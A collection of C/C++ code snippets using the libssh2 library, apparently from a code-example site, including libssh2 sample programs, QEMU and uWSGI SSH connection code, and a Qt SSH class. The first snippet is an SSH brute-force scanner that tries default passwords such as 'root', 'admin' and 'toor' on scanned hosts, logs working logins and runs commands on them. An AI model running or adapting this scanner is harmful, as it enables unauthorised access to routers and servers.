        strncpy(curhost, inet_ntoa(serv_addr.sin_addr), sizeof(curhost));
        addchecking(serv_addr.sin_addr.s_addr);
        unsigned long chkdist=0;
        chkdist=dist(gen);
        int ret;
        //   deb("\rconnecting %16s ", inet_ntoa(serv_addr.sin_addr));
        ret=connect(sockfd, (struct sockaddr*) &serv_addr, sizeof( serv_addr));
        fd_set fds;
        //deb("ret:%d errno:%s (%d)\r\n",ret,strerror(errno),errno);
        // sleep(1);
        FD_ZERO(&fds);
        FD_SET(sockfd, &fds);
        tv.tv_sec = 2;
        tv.tv_usec = 0;
        char buf[1024];
        if (ret==0 || (ret==-1 && errno == EINPROGRESS))
        {
            ipscanned++;
            int res = select(sockfd+1,  &fds,&fds, 0, &tv);
            //deb("res:%d errno:%s (%d)\r\n",res,strerror(errno),errno);
            if (res < 0 && errno != EINTR)
            {
                //      deb("\r\n%s Error connecting %d - %s\n\r",
                //  	curhost, errno, strerror(errno));
            }
            else if (res > 0)
            {
                flags &= (~O_NONBLOCK);
                if ( fcntl(sockfd, F_SETFL, flags) < 0)
                {
                    deb("Error fcntl(..., F_SETFL) (%s)\n", strerror(errno));
                }
                int rcv;
                memset(buf, 0, sizeof(buf));
                rcv = recv(sockfd, buf, sizeof(buf), MSG_PEEK);
                //if (rcv>0)
                //  buf[rcv]=0;
                // if (rcv>0)
                // deb("rcv: %d %s\r\n",rcv, trim(buf));
                const char *username="******";
                const char *password="******";
                const char *sftppath="/tmp";
                int rc;
                const char *fingerprint;
                session = libssh2_session_init();
                libssh2_session_set_blocking(session, 1);
                int numTry=0;
                while (session>0 && (rc = libssh2_session_handshake(session, sockfd)) ==
                        LIBSSH2_ERROR_EAGAIN);
                int u;
                LIBSSH2_CHANNEL *channel=0;
                if (rc)
                {
                    if (rc!=-43)
                        deb("%16s failure establishing SSH session: %d [rnd: %lu, checking: %d]\n",
                            curhost,rc,chkdist,checking.size());
                    //return -1;
                }
                else
                {
                    totscanned++;
                    fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
                    deb( "%16s %-50s ", inet_ntoa(serv_addr.sin_addr),
                         trim(buf));
                    for (int i = 0; i < 20; i++)
                    {
                        deb(KYEL "%02X " RESET, (unsigned char)fingerprint[i]);
                    }
                    deb( "\n");
                    char* passwords[]={"root","admin","toor","r00t","adm",
                                       "secure","pwd","password","god"
                                      };
                    for ( u=0;u<3;u++)
                    {
                        if (libssh2_userauth_password(session, username, passwords[u]))
                        {
                            //       deb( "%16s " KRED "Authentication by password failed. [%s]\n"
                            //         RESET, inet_ntoa(serv_addr.sin_addr),passwords[u]);
                            continue;
                        }
                        else
                        {
                            deb(KCYN "%16s authenticated %s:%s \r\n" RESET,
                                inet_ntoa(serv_addr.sin_addr),
                                username,passwords[u],totscanned);
                            struct stat fileinfo;
                            channel = libssh2_scp_recv(session, "/etc/services", &fileinfo);
                            if (!channel)
                            {
                                deb(KRED "%16s Unable to open a session: %d\r\n" RESET,
                                    inet_ntoa(serv_addr.sin_addr),
                                    libssh2_session_last_errno(session));
                                break;
                            }
                            if (!fileinfo.st_size)
                            {
                                deb(KGRN "%16s router/modem\r\n" RESET, inet_ntoa(serv_addr.sin_addr),
                                    fileinfo.st_size);
                                fdeb("%s %s:%s [router/modem (%s)]\r\n", inet_ntoa(serv_addr.sin_addr),
                                     username,passwords[u],trim(buf));
                            }
                            else
                            {
                                deb(KGRN "%16s unknown device fs:%d [%s]\r\n" RESET,
                                    inet_ntoa(serv_addr.sin_addr),
                                    fileinfo.st_size,trim(buf));
                                fdeb("%s %s:%s unknown (%s)\r\n", inet_ntoa(serv_addr.sin_addr),
                                     username,passwords[u],trim( buf));
                            }
                            channel = libssh2_scp_recv(session, "/proc/cpuinfo", &fileinfo);
                            if (!channel)
                            {
                                //  deb(KRED "\r\nUnable to open a session: %d\r\n" RESET,
                                //      libssh2_session_last_errno(session));
                                //break;
                            }
                            else
                            {
                                int got=0;
                                char mem[1024];
                                int amount=sizeof(mem);
                                while (got < fileinfo.st_size)
                                {
                                    if ((fileinfo.st_size -got) < amount)
                                    {
                                        amount = fileinfo.st_size -got;
                                    }
                                    rc = libssh2_channel_read(channel, mem, amount);
                                    if (rc > 0)
                                    {
                                        deb("mem:%p rc:%d", mem, rc);
                                    }
                                    else if (rc < 0)
                                    {
                                        deb("libssh2_channel_read() failed: %d\n", rc);
                                        break;
                                    }
                                    got += rc;
                                }
                                if (mem[0])
                                    deb("mem: %s", mem);
                            }
                            founds++;
                            try
                            {
                                MySexec sexec;
                                sexec.SetSSHHost( curhost );
                                int ret_code = sexec.SetTimeout(17);
                                if (ret_code) throw("\r\nfailed: SetTimeout\r\n");
                                ret_code = sexec.SetSSHUser(username);
                                if (ret_code) throw("\r\nfailed: SetSSHUser\r\n");
                                ret_code = sexec.SetSSHPassword(passwords[u]);
                                if (ret_code) throw("\r\nfailed: SetSSHPassword()\r\n");
                                ret_code = sexec.SSHLogon(curhost ,22);
                                if (ret_code) throw("\r\nfailed: SSHLogon\r\n");
                                ret_code = sexec.Execute("ls -l");
                                if (ret_code) throw("\r\Execute:%d",ret_code);
                                //sleep(2);
                                deb(KGRN "executed on %s\r\n" RESET, curhost);
                               // fdeb("\r\n[host %s]\r\n",curhost);
                                // exit(0);
                            }
                            catch ( const char *str )
                            {
                                deb(KRED "in except: %s\r\n" RESET,str);
                            }
                            //exit(0);
                        }
                    }
                    //  free(fingerprint);
                }
                if (channel)
                    libssh2_channel_free(channel);
                if (session)
                {
                    // libssh2_session_disconnect(session, "Norm");
                    libssh2_session_free(session);
                }
                /*   ssh = CkSsh_Create();
                   bool success;
                   CkSsh_UnlockComponent(ssh,"Anything for 30-day trial");
                   success = CkSsh_Connect(ssh,inet_ntoa(serv_addr.sin_addr),22);
                   CkSsh_putIdleTimeoutMs(ssh,5000);
                   success = CkSsh_AuthenticatePw(ssh,"root","root");
                   if (success != TRUE)
                   {
                       deb("%s\n",CkSsh_lastErrorText(ssh));
                       return 0;
                   }
                   int channelNum;
                   channelNum = CkSsh_OpenSessionChannel(ssh);
                   if (channelNum < 0)
                   {
                       deb("%s\n",CkSsh_lastErrorText(ssh));
                      return 0;
                   }
                   success = CkSsh_SendReqExec(ssh,channelNum,"uname -a");
                   if (success != TRUE)
                   {
                       deb("%s\n",CkSsh_lastErrorText(ssh));
                       return 0;
                   }
                   //  Call ChannelReceiveToClose to read
                   //  output until the server's corresponding "channel close" is received.
                   success = CkSsh_ChannelReceiveToClose(ssh,channelNum);
                   if (success != TRUE)
                   {
                       deb("%s\n",CkSsh_lastErrorText(ssh));
                      return 0;
                   }
                   //  Let's pickup the accumulated output of the command:
                   const char * cmdOutput;
                   cmdOutput = CkSsh_getReceivedText(ssh,channelNum,"ansi");
                   if (cmdOutput == 0 )
                   {
                       deb("%s\n",CkSsh_lastErrorText(ssh));
                       return 0;
                   }
                   //  Display the remote shell's command output:
                   deb("%s\n",cmdOutput);
                   //  Disconnect
                   CkSsh_Disconnect(ssh);
                   CkSsh_Dispose(ssh);*/
            }
        }
Пример #17
0
int main(int argc, char *argv[])
{
    unsigned long hostaddr;
    int sock, i, auth_pw = 1;
    struct sockaddr_in sin;
    const char *fingerprint;
    LIBSSH2_SESSION *session = NULL;
    LIBSSH2_CHANNEL *channel;
    const char *username="******";
    const char *password="******";
    const char *loclfile="scp_write.c";
    const char *scppath="/tmp/TEST";
    FILE *local;
    int rc;
    char mem[1024];
    size_t nread;
    char *ptr;
    struct stat fileinfo;

#ifdef WIN32
    WSADATA wsadata;

    WSAStartup(MAKEWORD(2,0), &wsadata);
#endif

    if (argc > 1) {
        hostaddr = inet_addr(argv[1]);
    } else {
        hostaddr = htonl(0x7F000001);
    }
    if (argc > 2) {
        username = argv[2];
    }
    if (argc > 3) {
        password = argv[3];
    }
    if(argc > 4) {
        loclfile = argv[4];
    }
    if (argc > 5) {
        scppath = argv[5];
    }

    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return 1;
    }

    local = fopen(loclfile, "rb");
    if (!local) {
        fprintf(stderr, "Can't open local file %s\n", loclfile);
        return -1;
    }

    stat(loclfile, &fileinfo);

    /* Ultra basic "connect to port 22 on localhost"
     * Your code is responsible for creating the socket establishing the
     * connection
     */
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if(-1 == sock) {
        fprintf(stderr, "failed to create socket!\n");
        return -1;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(sock, (struct sockaddr*)(&sin),
            sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return -1;
    }

    /* Create a session instance
     */
    session = libssh2_session_init();
    if(!session)
        return -1;

    /* ... start it up. This will trade welcome banners, exchange keys,
     * and setup crypto, compression, and MAC layers
     */
    rc = libssh2_session_handshake(session, sock);
    if(rc) {
        fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
        return -1;
    }

    /* At this point we havn't yet authenticated.  The first thing to do
     * is check the hostkey's fingerprint against our known hosts Your app
     * may have it hard coded, may go to a file, may present it to the
     * user, that's your call
     */
    fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
    fprintf(stderr, "Fingerprint: ");
    for(i = 0; i < 20; i++) {
        fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]);
    }
    fprintf(stderr, "\n");

    if (auth_pw) {
        /* We could authenticate via password */
        if (libssh2_userauth_password(session, username, password)) {
            fprintf(stderr, "Authentication by password failed.\n");
            goto shutdown;
        }
    } else {
        /* Or by public key */
        if (libssh2_userauth_publickey_fromfile(session, username,
                            "/home/username/.ssh/id_rsa.pub",
                            "/home/username/.ssh/id_rsa",
                            password)) {
            fprintf(stderr, "\tAuthentication by public key failed\n");
            goto shutdown;
        }
    }

    /* Send a file via scp. The mode parameter must only have permissions! */
    channel = libssh2_scp_send(session, scppath, fileinfo.st_mode & 0777,
                               (unsigned long)fileinfo.st_size);

    if (!channel) {
        char *errmsg;
        int errlen;
        int err = libssh2_session_last_error(session, &errmsg, &errlen, 0);
        fprintf(stderr, "Unable to open a session: (%d) %s\n", err, errmsg);
        goto shutdown;
    }

    fprintf(stderr, "SCP session waiting to send file\n");
    do {
        nread = fread(mem, 1, sizeof(mem), local);
        if (nread <= 0) {
            /* end of file */
            break;
        }
        ptr = mem;

        do {
            /* write the same data over and over, until error or completion */
            rc = libssh2_channel_write(channel, ptr, nread);
            if (rc < 0) {
                fprintf(stderr, "ERROR %d\n", rc);
                break;
            }
            else {
                /* rc indicates how many bytes were written this time */
                ptr += rc;
                nread -= rc;
            }
        } while (nread);

    } while (1);

    fprintf(stderr, "Sending EOF\n");
    libssh2_channel_send_eof(channel);

    fprintf(stderr, "Waiting for EOF\n");
    libssh2_channel_wait_eof(channel);

    fprintf(stderr, "Waiting for channel to close\n");
    libssh2_channel_wait_closed(channel);

    libssh2_channel_free(channel);
    channel = NULL;

 shutdown:

    if(session) {
        libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing");
        libssh2_session_free(session);
    }
#ifdef WIN32
    closesocket(sock);
#else
    close(sock);
#endif
    if (local)
        fclose(local);
    fprintf(stderr, "all done\n");

    libssh2_exit();

    return 0;
}
Пример #18
0
int main(int argc, char *argv[])
{
    unsigned long hostaddr;
    int rc, sock, i, auth_pw = 0;
    struct sockaddr_in sin;
    const char *fingerprint;
    char *userauthlist;
    LIBSSH2_SESSION *session;
    LIBSSH2_CHANNEL *channel;

#ifdef WIN32
    WSADATA wsadata;
    int err;

    err = WSAStartup(MAKEWORD(2,0), &wsadata);
    if (err != 0) {
        fprintf(stderr, "WSAStartup failed with error: %d\n", err);
        return 1;
    }
#endif

    if (argc > 1) {
        hostaddr = inet_addr(argv[1]);
    } else {
        hostaddr = htonl(0x7F000001);
    }

    if(argc > 2) {
        username = argv[2];
    }
    if(argc > 3) {
        password = argv[3];
    }

    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return 1;
    }

    /* Ultra basic "connect to port 22 on localhost".  Your code is
     * responsible for creating the socket establishing the connection
     */
    sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return -1;
    }

    /* Create a session instance and start it up. This will trade welcome
     * banners, exchange keys, and setup crypto, compression, and MAC layers
     */
    session = libssh2_session_init();
    if (libssh2_session_handshake(session, sock)) {
        fprintf(stderr, "Failure establishing SSH session\n");
        return -1;
    }

    /* At this point we havn't authenticated. The first thing to do is check
     * the hostkey's fingerprint against our known hosts Your app may have it
     * hard coded, may go to a file, may present it to the user, that's your
     * call
     */
    fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
    fprintf(stderr, "Fingerprint: ");
    for(i = 0; i < 20; i++) {
        fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]);
    }
    fprintf(stderr, "\n");

    /* check what authentication methods are available */
    userauthlist = libssh2_userauth_list(session, username, strlen(username));
    fprintf(stderr, "Authentication methods: %s\n", userauthlist);
    if (strstr(userauthlist, "password") != NULL) {
        auth_pw |= 1;
    }
    if (strstr(userauthlist, "keyboard-interactive") != NULL) {
        auth_pw |= 2;
    }
    if (strstr(userauthlist, "publickey") != NULL) {
        auth_pw |= 4;
    }

    /* if we got an 4. argument we set this option if supported */
    if(argc > 4) {
        if ((auth_pw & 1) && !strcasecmp(argv[4], "-p")) {
            auth_pw = 1;
        }
        if ((auth_pw & 2) && !strcasecmp(argv[4], "-i")) {
            auth_pw = 2;
        }
        if ((auth_pw & 4) && !strcasecmp(argv[4], "-k")) {
            auth_pw = 4;
        }
    }

    if (auth_pw & 1) {
        /* We could authenticate via password */
        if (libssh2_userauth_password(session, username, password)) {
            fprintf(stderr, "\tAuthentication by password failed!\n");
            goto shutdown;
        } else {
            fprintf(stderr, "\tAuthentication by password succeeded.\n");
        }
    } else if (auth_pw & 2) {
        /* Or via keyboard-interactive */
        if (libssh2_userauth_keyboard_interactive(session, username,
                                                  &kbd_callback) ) {
            fprintf(stderr,
                "\tAuthentication by keyboard-interactive failed!\n");
            goto shutdown;
        } else {
            fprintf(stderr,
                "\tAuthentication by keyboard-interactive succeeded.\n");
        }
    } else if (auth_pw & 4) {
        /* Or by public key */
        if (libssh2_userauth_publickey_fromfile(session, username, keyfile1,
                                                keyfile2, password)) {
            fprintf(stderr, "\tAuthentication by public key failed!\n");
            goto shutdown;
        } else {
            fprintf(stderr, "\tAuthentication by public key succeeded.\n");
        }
    } else {
        fprintf(stderr, "No supported authentication methods found!\n");
        goto shutdown;
    }

    /* Request a shell */
    if (!(channel = libssh2_channel_open_session(session))) {
        fprintf(stderr, "Unable to open a session\n");
        goto shutdown;
    }

    /* Some environment variables may be set,
     * It's up to the server which ones it'll allow though
     */
    libssh2_channel_setenv(channel, "FOO", "bar");

    /* Request a terminal with 'vanilla' terminal emulation
     * See /etc/termcap for more options
     */
    if (libssh2_channel_request_pty(channel, "vanilla")) {
        fprintf(stderr, "Failed requesting pty\n");
        goto skip_shell;
    }

    /* Open a SHELL on that pty */
    if (libssh2_channel_shell(channel)) {
        fprintf(stderr, "Unable to request shell on allocated pty\n");
        goto shutdown;
    }

    /* At this point the shell can be interacted with using
     * libssh2_channel_read()
     * libssh2_channel_read_stderr()
     * libssh2_channel_write()
     * libssh2_channel_write_stderr()
     *
     * Blocking mode may be (en|dis)abled with: libssh2_channel_set_blocking()
     * If the server send EOF, libssh2_channel_eof() will return non-0
     * To send EOF to the server use: libssh2_channel_send_eof()
     * A channel can be closed with: libssh2_channel_close()
     * A channel can be freed with: libssh2_channel_free()
     */

  skip_shell:
    if (channel) {
        libssh2_channel_free(channel);
        channel = NULL;
    }

    /* Other channel types are supported via:
     * libssh2_scp_send()
     * libssh2_scp_recv()
     * libssh2_channel_direct_tcpip()
     */

  shutdown:

    libssh2_session_disconnect(session,
                               "Normal Shutdown, Thank you for playing");
    libssh2_session_free(session);

#ifdef WIN32
    closesocket(sock);
#else
    close(sock);
#endif
    fprintf(stderr, "all done!\n");

    libssh2_exit();

    return 0;
}
Пример #19
0
static int connect_to_ssh(BDRVSSHState *s, QDict *options,
                          int ssh_flags, int creat_mode, Error **errp)
{
    int r, ret;
    QemuOpts *opts = NULL;
    Error *local_err = NULL;
    const char *user, *path, *host_key_check;
    long port = 0;

    opts = qemu_opts_create(&ssh_runtime_opts, NULL, 0, &error_abort);
    qemu_opts_absorb_qdict(opts, options, &local_err);
    if (local_err) {
        ret = -EINVAL;
        error_propagate(errp, local_err);
        goto err;
    }

    if (!ssh_process_legacy_socket_options(options, opts, errp)) {
        ret = -EINVAL;
        goto err;
    }

    path = qemu_opt_get(opts, "path");
    if (!path) {
        ret = -EINVAL;
        error_setg(errp, "No path was specified");
        goto err;
    }

    user = qemu_opt_get(opts, "user");
    if (!user) {
        user = g_get_user_name();
        if (!user) {
            error_setg_errno(errp, errno, "Can't get user name");
            ret = -errno;
            goto err;
        }
    }

    host_key_check = qemu_opt_get(opts, "host_key_check");
    if (!host_key_check) {
        host_key_check = "yes";
    }

    /* Pop the config into our state object, Exit if invalid */
    s->inet = ssh_config(s, options, errp);
    if (!s->inet) {
        ret = -EINVAL;
        goto err;
    }

    if (qemu_strtol(s->inet->port, NULL, 10, &port) < 0) {
        error_setg(errp, "Use only numeric port value");
        ret = -EINVAL;
        goto err;
    }

    /* Open the socket and connect. */
    s->sock = inet_connect_saddr(s->inet, errp, NULL, NULL);
    if (s->sock < 0) {
        ret = -EIO;
        goto err;
    }

    /* Create SSH session. */
    s->session = libssh2_session_init();
    if (!s->session) {
        ret = -EINVAL;
        session_error_setg(errp, s, "failed to initialize libssh2 session");
        goto err;
    }

#if TRACE_LIBSSH2 != 0
    libssh2_trace(s->session, TRACE_LIBSSH2);
#endif

    r = libssh2_session_handshake(s->session, s->sock);
    if (r != 0) {
        ret = -EINVAL;
        session_error_setg(errp, s, "failed to establish SSH session");
        goto err;
    }

    /* Check the remote host's key against known_hosts. */
    ret = check_host_key(s, s->inet->host, port, host_key_check,
                         errp);
    if (ret < 0) {
        goto err;
    }

    /* Authenticate. */
    ret = authenticate(s, user, errp);
    if (ret < 0) {
        goto err;
    }

    /* Start SFTP. */
    s->sftp = libssh2_sftp_init(s->session);
    if (!s->sftp) {
        session_error_setg(errp, s, "failed to initialize sftp handle");
        ret = -EINVAL;
        goto err;
    }

    /* Open the remote file. */
    DPRINTF("opening file %s flags=0x%x creat_mode=0%o",
            path, ssh_flags, creat_mode);
    s->sftp_handle = libssh2_sftp_open(s->sftp, path, ssh_flags, creat_mode);
    if (!s->sftp_handle) {
        session_error_setg(errp, s, "failed to open remote file '%s'", path);
        ret = -EINVAL;
        goto err;
    }

    qemu_opts_del(opts);

    r = libssh2_sftp_fstat(s->sftp_handle, &s->attrs);
    if (r < 0) {
        sftp_error_setg(errp, s, "failed to read file attributes");
        return -EINVAL;
    }

    return 0;

 err:
    if (s->sftp_handle) {
        libssh2_sftp_close(s->sftp_handle);
    }
    s->sftp_handle = NULL;
    if (s->sftp) {
        libssh2_sftp_shutdown(s->sftp);
    }
    s->sftp = NULL;
    if (s->session) {
        libssh2_session_disconnect(s->session,
                                   "from qemu ssh client: "
                                   "error opening connection");
        libssh2_session_free(s->session);
    }
    s->session = NULL;

    qemu_opts_del(opts);

    return ret;
}
Пример #20
0
static int uwsgi_init_ssh_session(
	struct uwsgi_ssh_mountpoint *usm,
	int* socket_fd,
	LIBSSH2_SESSION **session) {

	int sock = uwsgi_connect(usm->remote, ulibssh2.ssh_timeout, 1);
	if (sock < 0) {
		uwsgi_error("uwsgi_init_ssh_session()/uwsgi_connect()");
		return 1;
	}

	int rc = libssh2_init(0);
	if (rc) {
		uwsgi_error("uwsgi_init_ssh_session()/libssh2_init()");
		goto shutdown;
	}

	*session = libssh2_session_init();
	if (!session) {
		uwsgi_error("uwsgi_init_ssh_session()/libssh2_session_init()");
		goto shutdown;
	}

	libssh2_session_set_blocking(*session, 0);

	while ((rc = libssh2_session_handshake(*session, sock)) == LIBSSH2_ERROR_EAGAIN) {
		uwsgi_ssh_waitsocket(sock, *session);
	}
	if (rc) {
		uwsgi_error("uwsgi_init_ssh_session()/libssh2_session_handshake()");
		goto shutdown;
	}

	if (!ulibssh2.disable_remote_fingerprint_check) {
		LIBSSH2_KNOWNHOSTS *nh = libssh2_knownhost_init(*session);
		if (!nh) {
			uwsgi_error("uwsgi_init_ssh_session()/libssh2_knownhost_init()");
			goto shutdown;
		}

		if (libssh2_knownhost_readfile(nh, ulibssh2.known_hosts_path, LIBSSH2_KNOWNHOST_FILE_OPENSSH) < 0) {
			uwsgi_error("uwsgi_init_ssh_session()/libssh2_knownhost_readfile()");
		}

		size_t len;
		int type;
		const char *fingerprint = libssh2_session_hostkey(*session, &len, &type);
		if (!fingerprint) {
			uwsgi_error("uwsgi_init_ssh_session()/libssh2_session_hostkey()");
			libssh2_knownhost_free(nh);
			goto shutdown;
		}

		char *remoteaddr_str = uwsgi_str(usm->remote);
		char *port_str = strchr(remoteaddr_str, ':');
		int port = SSH_DEFAULT_PORT;

		if (port_str) {
			port_str[0] = 0;
			port_str++;
			port = atoi(port_str);
		}

		struct libssh2_knownhost *host;
		int check = libssh2_knownhost_checkp(
			nh,
			remoteaddr_str,
			port,
			fingerprint,
			len,
			LIBSSH2_KNOWNHOST_TYPE_PLAIN|LIBSSH2_KNOWNHOST_KEYENC_RAW,
			&host
		);

		free(remoteaddr_str);

		if (check != LIBSSH2_KNOWNHOST_CHECK_MATCH) {
			uwsgi_log("[SSH] Remote fingerprint check failed!\n");
			libssh2_knownhost_free(nh);
			goto shutdown;
		}

		libssh2_knownhost_free(nh);
	}

	// If specified, username and password are honored
	if (usm->username && usm->password) {
		while ((rc = libssh2_userauth_password(
					*session,
					usm->username,
					usm->password)
			) == LIBSSH2_ERROR_EAGAIN) {
			uwsgi_ssh_waitsocket(sock, *session);
		}

		if (rc) {
			uwsgi_error("uwsgi_init_ssh_session()/libssh2_userauth_password()");
			goto shutdown;
		} else {
			goto end;
		}

	// Else, let's try the fallback authentication methods:
	} else if (usm->username || ulibssh2.username) {

		// Let's choose which username to use
		char* auth_user = ulibssh2.username;
		if (usm->username) {
			auth_user = usm->username;
		}

		// Password authentication
		if (ulibssh2.auth_pw && ulibssh2.password) {
			while ((rc = libssh2_userauth_password(
						*session,
						auth_user,
						ulibssh2.password)
				) == LIBSSH2_ERROR_EAGAIN) {
				uwsgi_ssh_waitsocket(sock, *session);
			}
			if (rc) {
				uwsgi_error("uwsgi_init_ssh_session()/libssh2_userauth_password()");
				// goto shutdown;
			} else {
				goto end;
			}
		}

		// SSH agent authentication
		if (usm->ssh_agent || ulibssh2.auth_ssh_agent) {
			if (uwsgi_ssh_agent_auth(*session, sock, auth_user)) {
				uwsgi_error("uwsgi_init_ssh_session()/uwsgi_ssh_agent_auth()");
				// goto shutdown;
			} else {
				goto end;
			}
		}

		// Public key authentication
		if ((ulibssh2.private_key_path && ulibssh2.private_key_passphrase) ||
			(usm->priv_key_path && usm->priv_key_passphrase)) {

			char *actual_pubk_path = ulibssh2.public_key_path;
			if (usm->pub_key_path) {
				actual_pubk_path = usm->pub_key_path;
			}

			char *actual_privk_path = ulibssh2.private_key_path;
			if (usm->priv_key_path) {
				actual_privk_path = usm->priv_key_path;
			}

			char *actual_passphrase = ulibssh2.private_key_passphrase;
			if (usm->priv_key_passphrase) {
				actual_passphrase = usm->priv_key_passphrase;
			}

			while ((rc = libssh2_userauth_publickey_fromfile(
						*session,
						auth_user,
						actual_pubk_path,
						actual_privk_path,
						actual_passphrase)
			) == LIBSSH2_ERROR_EAGAIN) {
				uwsgi_ssh_waitsocket(sock, *session);
			}

			if (rc == LIBSSH2_ERROR_PUBLICKEY_UNVERIFIED) {
				uwsgi_log("[SSH] ssh authentication failed (bad passphrase)\n");
				// goto shutdown;
			} else if (rc) {
				uwsgi_error("uwsgi_init_ssh_session()/libssh2_userauth_publickey_fromfile()");
				// goto shutdown;
			} else {
				goto end;
			}
		}
	}


	// If we arrive here, something went wrong.
	uwsgi_log("[SSH] session initialization failed (no authentication method worked)\n");
shutdown:
		close(sock);
		return 1;

end:
	// Otherwise, we're fine!
	*socket_fd = sock;
	return 0;

}
Пример #21
0
void SshConnection::openSocket(unsigned const timeout)
{
   // Create the socket
   m_socket = socket(AF_INET, SOCK_STREAM, 0);
   if (m_socket < 0) throw Exception("Failed to create socket");

   setNonBlocking();

   // Now try and connect with timout
   struct sockaddr_in sin;
   sin.sin_family = AF_INET;
   sin.sin_port = htons(m_port);
   sin.sin_addr.s_addr = HostLookup(m_hostname);

   int rc(::connect(m_socket, (struct sockaddr*)&sin, sizeof(struct sockaddr_in)));

#ifdef WIN32
   if (rc == SOCKET_ERROR) rc = -1;
   int ok(WSAEWOULDBLOCK);
#else
   int ok(EINPROGRESS);
#endif

   if (rc < 0) {

      if (errno != ok) {
         QString msg("Connection failed: ");
         throw Exception(msg + lastError());
      }

      do {
         struct timeval tv;
         tv.tv_sec  = timeout / 1000;
         tv.tv_usec = 1000*(timeout % 1000);

         fd_set myset;
         FD_ZERO(&myset);
         FD_SET(m_socket, &myset);

         rc = select(m_socket+1, NULL, &myset, NULL, &tv);

         if (rc == 0) {
            throw NetworkTimeout();

         }else if (rc < 0 && errno != EINTR) {
            QString msg("Connection failed: ");
            throw Exception(msg + lastError());

         }else if (rc > 0) {
            // Socket selected for write 
            socklen_t lon(sizeof(int));
            int errorStatus;
            
#ifdef WIN32
            if (getsockopt(m_socket, SOL_SOCKET, SO_ERROR, (char*)(&errorStatus), &lon) < 0) {
#else
            if (getsockopt(m_socket, SOL_SOCKET, SO_ERROR, (void*)(&errorStatus), &lon) < 0) {
#endif
               QString msg("Error check on socket: ");
               throw Exception(msg + lastError());
            }

            // Check the value returned... 
            if (errorStatus) {
               QString msg("Connection failed ");
               msg += QString::number(errorStatus) + ": ";
               throw Exception(msg + lastError());
            }
            break;
         }

      } while (1);
   }

   setBlocking();
}


// Returns true if the username and password are valid, false otherwise.
// throws on any other error.
void SshConnection::authenticate(AuthenticationT const authentication, QString& username)
{
   m_username = username;

   if (m_socket <= 0) throw Exception("Authentication on invalid socket");

   // Create a session instance
   m_session = libssh2_session_init();
   if (!m_session) throw Exception("Failed to initialize SSH session");

   // This trades welcome banners, exchange keys,
   // and sets up crypto, compression, and MAC layers
   int rc(0);
   while ((rc = libssh2_session_handshake(m_session, m_socket)) == LIBSSH2_ERROR_EAGAIN);

   if (rc) {
      QString msg("Failed to establish a valid SSH session (");
     msg += QString::number(rc) + "): ";
      throw Exception(msg + lastSessionError());
   }

/* Can't get this working at the moment
   const char* fingerprint(libssh2_hostkey_hash(m_session, LIBSSH2_HOSTKEY_HASH_MD5));
   fprintf(stderr, "SSH Fingerprint: ");

   for (int i = 0; i < 20; ++i) {
       fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]);
   }
   fprintf(stderr, "\n");
*/

//!!!

   // Check what authentication methods are available
   char* authenticationMethods =
      libssh2_userauth_list(m_session, username.toLatin1().data(), username.length());

   //publickey,gssapi-with-mic,password,hostbased
   //publickey,keyboard-interactive

   rc = LIBSSH2_ERROR_METHOD_NOT_SUPPORTED;

   switch (authentication) {

      case None:
         break;

      case Agent:
         rc = connectAgent();
         break;

      case HostBased:
         if (strstr(authenticationMethods, "hostbased") != NULL) {
            rc = connectHostBased();
         }
         break;

      case KeyboardInteractive:
         if (strstr(authenticationMethods, "keyboard-interactive") != NULL) {
            rc = connectKeyboardInteractive();
         }
         break;

      case Password:
         if (strstr(authenticationMethods, "password") != NULL) {
            rc = connectPassword();
         }
         break;

      case PublicKey:
         if (strstr(authenticationMethods, "publickey") != NULL) {
            rc = connectPublicKey();
         }
         break;
   }

   QString msg;

   switch (rc) {
      case LIBSSH2_ERROR_NONE:
         m_status = Connection::Authenticated;
         QLOG_INFO() << "SSH Connection established";
         break;

      case LIBSSH2_ERROR_PUBLICKEY_NOT_FOUND:
         msg = "Public key not found for host " + m_hostname;
         throw Exception(msg);
         break;

      case LIBSSH2_ERROR_AUTHENTICATION_FAILED:
         throw AuthenticationError();
         break;

      case LIBSSH2_ERROR_METHOD_NOT_SUPPORTED:
         msg  = toString(authentication) + " authentication not supported\n\n";
         msg += "Supported methods: ";
         msg += QString(authenticationMethods).replace(",",", ");
         throw Exception(msg);
         break;

      case LIBSSH2_ERROR_AUTHENTICATION_CANCELLED:
         throw AuthenticationCancelled();
         break;

      default:
         QString msg("Authentication failed:\n");
         msg += lastSessionError();
         throw Exception(msg);
         break;
   }
}
Пример #22
0
/**
 * seashell_tunnel_connect_password (const char* host, const char* user, const char* password, int* error)
 * Connects to the host via SSH on port 22, and launches a Seashell backend instance for that user
 * on the host.
 *
 * Consults /etc/seashell_hosts for host's SSH public keys.  If this file does not exist,
 * this function will fail for security reasons.  /etc/seashell_hosts is a standard
 * OpenSSH known_hosts file.
 *
 * Arguments:
 *  host - Host to connect to.
 *  user - User to run as.
 *  password - User's password.
 *  error - [optional] denotes error on failure.
 *  remote_addr - Address to which the remote IP address will
 *   be written. Reserve 128 bytes.
 *  family - Address family.
 *  target - Target to execute.
 *
 * Returns:
 *  Handle to connection object on success, NULL otherwise.
 *  If error is NOT null, error will hold more detailed error information.
 */
struct seashell_connection* seashell_tunnel_connect_password (const char* host,
    const char* user,
    const char* password,
    int* error,
    char * remote_addr,
    int* family,
    char* target) {
